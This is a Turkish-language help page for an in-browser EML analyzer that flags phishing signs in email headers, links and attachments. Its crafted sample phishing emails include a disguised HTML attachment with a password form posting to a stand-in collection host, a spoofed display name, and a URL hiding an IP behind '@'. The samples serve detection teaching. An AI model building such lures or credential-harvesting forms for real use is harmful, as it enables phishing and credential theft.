Bir alan adının SPF (10 sorgu sınırıyla), DMARC, DKIM, MTA-STS ve BIMI kayıtlarını kontrol edin.
EML Analiz Aracı
Araç İngilizce dilindedir; bu sayfada ise araç, sizin dilinizde açıklanmaktadır.
EML Analiz Aracı'i kullanın
Ne işe yarar?
Gönderen başlıklarını, Received zincirini, bağlantıları ve ekleri kontrol etmek için bir .eml dosyası bırakın veya ileti kaynağını yapıştırın. Her şey tarayıcınızda çalışır.
Tamamen tarayıcınızda çalışır: girdiğiniz hiçbir bilgi yukarıya yüklenmez.
EML Analiz Aracı nasıl kullanılır?
- Ham iletiyi alın. E-postayı .eml olarak kaydedin veya kaynağını kopyalayın: Gmail'de Show original, Outlook'ta View message source, Thunderbird veya Apple Mail'de View source. Outlook .msg dosyaları okunmaz.
- Yükleyin. .eml dosyasını kutuya bırakın veya seçin (en fazla 50 MB) ya da kaynağı metin alanına yapıştırın (en fazla 5 MB) ve Analyze (Analiz et) düğmesine basın.
- Özeti okuyun. Bulgular tehlike işaretleri, uyarılar, notlar ve geçen kontroller olarak sıralanır. Her satır, geldiği başlığı, bağlantıyı veya eki belirtir.
- Ayrıntıları kontrol edin. Özetin altında gönderen başlıkları, From alan adıyla karşılaştırılan alan adları, kimlik doğrulama sonuçları, Received zinciri, her bağlantı ve her ek yer alır.
- Göstergeleri alın. İhtiyacınız olan gösterge türlerini işaretleyin, ardından bunları ham veya zararsızlaştırılmış olarak kopyalayın, .txt dosyası olarak indirin ya da Send to'yu kullanın.
Örnek
Hazırlanmış kimlik avı iletisi
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…support@example.com kılığına girmiş bir görünen ad, başka alan adlarındaki Reply-To ve DKIM, DMARC fail, metni www.example.com gösteren ama login.example.net'e giden bir bağlantı ve parola formu içeren invoice.pdf.html eki.
Neyi kontrol eder?
| Sinyal | Bunun anlamı nedir? |
|---|---|
| E-posta adresi içeren görünen ad | Ad bir adresi gösterirken gerçek gönderen başka biriyse tehlikelidir. E-posta uygulamaları çoğu zaman yalnızca adı gösterir. |
| Başka alan adındaki Reply-To | Bir uyarı: yanıtınız göndericiden farklı bir kuruluşa gider. |
| Authentication-Results | DMARC fail ve SPF fail tehlike işaretidir; SPF softfail ve DKIM fail uyarıdır. Yalnızca kendi sağlayıcınızın eklediği sonuç dikkate alınır. |
| Return-Path ve DKIM d= alan adları | From alan adından farklı olduklarında not edilir. Bu, toplu e-posta hizmetlerinde normaldir, ancak DMARC bunlardan birinin uyumlu (aligned) olmasını gerektirir. |
| Received zinciri | Atlamalar en eskiden başlayarak gecikmeleriyle listelenir. Önceki atlamadan daha erken bir zaman damgası, bir saatten uzun bir gecikme veya "may be forged" içeren ters DNS işaretlenir. |
| Bağlantı metni ve hedefi | Görünen metin bir alan adını gösterirken bağlantı başka birine gidiyorsa ya da @ işaretinden önceki metin gerçek ana makineyi gizliyorsa tehlikelidir. Yalın IP'ler, punycode, kısaltıcılar ve sarmalanmış bağlantılar da işaretlenir. |
| Ekler | Çift uzantılar, kod çalıştıran veya tarayıcıda açılan dosyalar, uzantıyla eşleşmeyen içerik ve sağdan sola geçersiz kılma (right-to-left override) hileleri işaretlenir. Her dosya için SHA-256, SHA-1 ve MD5 hesaplanır. |
| HTML içindeki formlar ve betikler | Gövdede veya bir ekte parola alanı içeren bir form tehlike işaretidir. Bir ekin içindeki betik kodu uyarıdır. |
Diğer örnekler
IP adresini gizleyen bir bağlantı
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>1 tehlike işareti, "1 link: text before "@" is ignored: the real host is 203.0.113.7", ve 1 uyarı, "1 link: link goes to a bare IP address". Links tablosu adresi zararsızlaştırılmış olarak, Upgrade storage metninin yanında gösterir.
PDF kılığındaki bir HTML sayfası
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 tehlike işareti: invoice.pdf eki "contains a form with a password field" (parola alanı içeren bir form içeriyor) ve "content is HTML document, not .pdf" (içeriği .pdf değil, HTML belgesi). Ek kartı Content: HTML document ve üç hash gösterir; Links tablosu form hedefini "form submits data to this address" notuyla listeler.
Sık Sorulan Sorular
EML Analyzer neleri kontrol eder?
Başlıkları ve her MIME parçasını çözer; From, Reply-To, Return-Path, DKIM d= ve Message-ID alan adlarını karşılaştırır ve Authentication-Results'ı okur. Ayrıca Received atlamalarını gecikmeleriyle, her bağlantıyı görünen metniyle ve her ekin SHA-256, SHA-1 ve MD5 değerlerini listeler.
Bir e-postanın kimlik avı olduğunu ya da güvenli olduğunu kanıtlayabilir mi?
Hayır. Bir karar değil, olguları ve uyarı işaretlerini gösterir: meşru toplu e-postaların Return-Path veya DKIM alan adı çoğu zaman farklıdır; DKIM imzaları listelenir ancak kriptografik olarak doğrulanmaz. Outlook .msg dosyaları desteklenmez; iletiyi önce .eml olarak kaydedin.
E-posta bir yere yükleniyor mu?
Hayır. Dosya tarayıcınızda okunur ve ayrıştırılır, HTML metin olarak gösterilir ve hiçbir zaman işlenmez (render edilmez), ağ üzerinden hiçbir şey gitmez. Send to düğmesi bir sonucu tarayıcınızın oturum depolaması (session storage) aracılığıyla başka bir araç sayfasına aktarır.
Hangi Authentication-Results başlığına güveniyor?
Kendi e-posta sisteminizin eklediğine; bu başlık Received zincirinden tanınır ve "added by the recipient's server" olarak işaretlenir. İletinin daha altındaki başlıkları gönderen yazmış olabilir; bu nedenle sayfa yalnızca sağlayıcınızın sonucuna güvenmenizi söyler.
Başka bir e-postaya eklenmiş bir e-postayı açabilir mi?
Evet. Ekli bir ileti, hash'leriyle ve onu aynı görünümde açan bir "Analyze the attached message" düğmesiyle listelenir. "Back to the outer message" sizi geri götürür.
Bazı IP adresleri neden göstergelerde yok?
Özel ve yerel adresler ile alıcının kendi e-posta sistemindeki atlamalar, gönderenin sunucularına işaret etmedikleri için dışarıda bırakılır. Alıcı e-posta adresleri de hiçbir zaman dahil edilmez.